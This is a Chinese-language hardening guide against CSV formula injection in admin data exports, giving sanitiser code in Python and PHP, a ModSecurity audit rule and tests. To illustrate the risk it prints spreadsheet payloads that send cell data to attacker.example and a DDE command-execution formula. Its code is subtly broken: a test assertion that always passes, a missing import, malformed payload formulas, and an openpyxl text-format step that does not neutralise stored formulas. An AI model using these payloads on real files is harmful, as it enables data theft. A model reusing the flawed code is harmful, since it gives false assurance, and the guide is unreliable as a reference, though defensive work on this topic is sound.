CSV 公式注入防御实战:导出功能安全配置

适用场景

CSV 公式注入防御适用于所有提供数据导出功能的后台系统,典型场景包括:

  • 运营后台的订单、会员、日志列表「导出 Excel/CSV」按钮,导出内容包含用户自填的昵称、备注、收货地址、工单描述;
  • 表单系统把提交内容汇总成 CSV 后由管理员下载查看;
  • 邮件营销、问卷回收、客服工单等第三方系统的数据落地文件;
  • 任何允许终端用户提交字符串、且该字符串会被写入 CSV 或 XLSX 单元格的业务。

该风险的核心特征:服务端本身不会执行公式,漏洞在「管理员用 Excel/WPS 打开导出文件」的那一刻被触发,因此常规的 SQL 注入与 XSS 防护拦截不到,属于典型的存储型客户端执行问题。

前置条件

  • Web 应用具备文件导出功能,且导出字段中存在用户可控输入;
  • 已确认导出格式为 CSV、TSV 或 XLSX(XLSX 若以 XML 写入共享字符串,同样会保留公式语义);
  • 服务器侧可修改导出模块代码(Python、PHP、Java、Node.js 均可);
  • 若使用 ModSecurity v2/v3,需具备添加自定义 SecRule 的权限;
  • 验证阶段需要一台装有 Excel 或 WPS 表格的测试终端,或使用 LibreOffice 命令行做无界面校验。

原理说明

公式触发条件

电子表格软件在解析单元格时,若单元格内容以 =+-@ 开头,会按公式处理。此外还有两类隐蔽触发点:

  • 前导制表符(0x09)或回车符(0x0D):部分版本会先剥离控制字符再判定公式,因此 \t=1+1 同样生效;
  • 分号分隔变体:在 ; 作为列表分隔符的本地化版本中,; 后的内容也可能被解析为公式。

危害链路

常见载荷有三类,危害依次递增:

  • 数据外带=HYPERLINK("https://attacker.example/?d=" A1,"查看详情"),诱导用户点击后把同表格内其他单元格内容带到外部域名;
  • 无交互外带=WEBSERVICE("https://attacker.example/?d=" A1)=IMPORTXML(...),文件一打开即发起请求,可用于确认「谁导出了这份数据」;
  • 命令执行=cmd|'/c calc'!A0 形式的 DDE 载荷,老版本 Excel 在用户确认弹窗后可能执行任意命令,结合 PowerShell 可完全接管终端。

因此防御原则是在数据写出前做前缀净化,而不是在用户打开文件时提醒「请勿启用宏」。

操作步骤

步骤一:实现统一净化函数(Python 参考实现)

所有导出路径必须先经过同一个净化函数,禁止在各业务模块里各写一套。核心做法是转义而非删除,保持数据可读性,同时在公式前插入单引号前缀。

# csv_guard.py
DANGEROUS_PREFIX = ("=", "+", "-", "@", "\t", "\r", "|", "0x09", "0x0D")

def sanitize_csv_cell(value):
    """对单个单元格值做公式注入净化,返回安全字符串。"""
    if value is None:
        return ""
    if not isinstance(value, str):
        value = str(value)
    # 1. 去掉不可见控制字符(保留可读性,不影响业务语义)
    cleaned = "".join(ch for ch in value if ch not in ("\t", "\r", "\x00"))
    # 2. 前导空白后再判定一次,防止 " =1+1" 绕过
    probe = cleaned.lstrip()
    if probe and probe[0] in ("=", "+", "-", "@", "|"):
        # 3. 前缀单引号,Excel 会按文本处理并隐藏该引号
        cleaned = "'" + cleaned
    return cleaned

def sanitize_row(row):
    return [sanitize_csv_cell(c) for c in row]

if __name__ == "__main__":
    samples = ["=1+1", "+SUM(A1:A9)", "-2+3", "@SUM(1)", "\t=cmd|'/c calc'!A0",
               "正常昵称", "1-2 号楼", " =WEBSERVICE(\"http://a.example\")"]
    for s in samples:
        print(repr(s), "->", repr(sanitize_csv_cell(s)))

注意保留 1-2 号楼 这类业务数据:净化只处理首字符为危险符号且位于开头的情况,中间的减号不受影响。

步骤二:CSV 写出必须遵循 RFC 4180

手工用字符串拼接生成 CSV 是另一类高频错误:字段内包含逗号、双引号或换行时会破坏列对齐,攻击者还能借此把恶意载荷挤进本应为空的单元格。正确做法是交给标准库序列化,并显式禁用 Excel 的公式解释。

import csv, io
from csv_guard import sanitize_row

def build_csv_response(header, rows):
    buf = io.StringIO()
    # QUOTE_ALL:所有字段加双引号,避免分隔符歧义
    writer = csv.writer(buf, quoting=csv.QUOTE_ALL, lineterminator="\r\n")
    writer.writerow([sanitize_csv_cell(h) for h in header])
    for r in rows:
        writer.writerow(sanitize_row(r))
    return buf.getvalue()

# 若导出 XLSX,用 openpyxl 时需把单元格显式声明为文本类型
from openpyxl import Workbook
def write_xlsx(path, header, rows):
    wb = Workbook()
    ws = wb.active
    ws.append([sanitize_csv_cell(h) for h in header])
    for r in rows:
        ws.append(sanitize_row(r))
    for row in ws.iter_rows(min_row=2):
        for cell in row:
            cell.number_format = "@"   # 强制文本格式,阻断公式解析
    wb.save(path)

步骤三:PHP 存量项目改造

PHP 项目常见 fputcsv 直写,改造点只有一行:在调用前统一净化数组。

<?php
function csv_sanitize_cell($v) {
    if ($v === null) return '';
    $v = (string)$v;
    $v = str_replace(array("\t", "\r", "\0"), '', $v);
    $probe = ltrim($v);
    if ($probe !== '' && strpos('=+-@|', $probe[0]) !== false) {
        $v = "'" . $v;
    }
    return $v;
}

$fp = fopen('php://output', 'w');
fputs($fp, "\xEF\xBB\xBF");            // BOM,保证中文在 Excel 正常显示
fputcsv($fp, array_map('csv_sanitize_cell', array('订单号', '昵称', '备注')));
foreach ($rows as $row) {
    fputcsv($fp, array_map('csv_sanitize_cell', $row));
}
fclose($fp);

步骤四:网关层兜底(Nginx + ModSecurity)

净化函数只能覆盖自家代码,历史接口和第三方 SDK 存在遗漏可能,因此在出口方向追加一条检测规则,命中即告警并记录,便于回溯未纳管的导出接口。

# /etc/nginx/modsec/csv_injection.conf
SecRule RESPONSE_HEADERS:Content-Disposition "@contains attachment" \
    "id:9001001,phase:4,t:none,nolog,pass,chain"
    SecRule RESPONSE_BODY "@rx (?m)^\"?[=+@]|\t[=+@]" \
        "setvar:'tx.csv_injection_score=+5',ctl:auditLogParts=+E"

该规则只做审计不阻断,原因是响应体内出现 = 开头的正常业务数据并不罕见(例如以等号开头的编号)。若确认要阻断,把 pass 改为 deny,status:403 即可,并务必先用生产样本回归,避免误杀导出功能。

配置验证

第一步,单元级验证净化函数是否覆盖全部触发前缀:

python3 -m pytest test_csv_guard.py -v
# test_csv_guard.py
from csv_guard import sanitize_csv_cell
import pytest

@pytest.mark.parametrize("raw", ["=1+1", "+A1", "-A1", "@SUM(1)", "\t=1", "|calc"])
def test_prefix_blocked(raw):
    out = sanitize_csv_cell(raw)
    assert out.startswith("'") or out.startswith("")

def test_business_value_untouched():
    assert sanitize_csv_cell("1-2 号楼") == "1-2 号楼"
    assert sanitize_csv_cell("Room-A1") == "Room-A1"

第二步,对真实导出接口做端到端验证。构造一条含载荷的记录后导出,用文本方式检查首字符:

# 取回导出文件(携带登录 Cookie)
curl -s -b cookie.txt "https://www.example.com/admin/export?type=orders" -o out.csv
# 检查是否仍有裸露的危险前缀(应为 0 行)
grep -nE '^"?[=+@]' out.csv | head
# 检查制表符前缀载荷
grep -nP '\t[=+@|]' out.csv | head

第三步,用 LibreOffice 无界面模式确认单元格类型。若净化生效,单元格显示为文本且不弹出公式求值:

soffice --headless --convert-to csv --outdir /tmp/chk out.csv
head -3 /tmp/chk/out.csv

第四步,ModSecurity 审计日志确认兜底规则已生效:

tail -f /var/log/nginx/modsec_audit.log | grep 9001001

常见问题

FAQ 1:加了单引号后,导出的数据里多了一个字符,业务方不接受怎么办?

单引号仅在 Excel/WPS 的显示层被识别为文本标记并自动隐藏,用记事本打开 CSV 能看到该字符,但业务方通常只看表格。若必须让文件本身也不含前缀,可改用两种替代方案:一是导出 XLSX 并把单元格数字格式设为 @(文本),公式不再被解析;二是在值前插入不可见的零宽字符(U+200B),但该做法在部分表格软件中不稳定,推荐优先使用 XLSX 方案。

FAQ 2:为什么只过滤了 =,攻击者还能打进来?

因为触发前缀不止一个。除 = 外还必须覆盖 +-@|,以及前导的制表符和回车符。另外要注意「前导空格绕过」:部分解析器会先 trim 再判定,因此判定前需先 lstrip() 再取首字符,这一点在净化函数示例中已体现。

FAQ 3:导出用的是 xlsx,还需要防吗?

需要。只有在写入时显式把单元格声明为文本类型才安全;若把用户输入直接 ws.append() 且未设置 number_format,以 = 开头的字符串仍会被 Excel 当作公式。使用模板文件填充的导出方式尤其要注意:模板中预留的单元格若为「常规」格式,同样会被解析为公式。

总结

CSV 公式注入防御的落地要点可归纳为四条:

  • 净化集中化:所有导出路径共用同一个净化函数,前缀集合包含 = + - @ | 与制表符、回车符,判定前先 lstrip()
  • 序列化标准化:使用标准库写出 CSV 并开启 QUOTE_ALL,禁止字符串手工拼接;导出 XLSX 时强制文本格式;
  • 出口可观测:Nginx + ModSecurity 在响应阶段做审计,发现未被净化函数覆盖的历史接口;
  • 验证工业化:参数化单元测试覆盖全部触发前缀,并在真实导出接口上跑一遍 grep 检查,确认无裸露危险前缀。

该方案对现有业务几乎无侵入,改造一个导出接口通常只需接入净化函数与替换写法两步,适合作为《导出功能安全基线》纳入上线检查清单。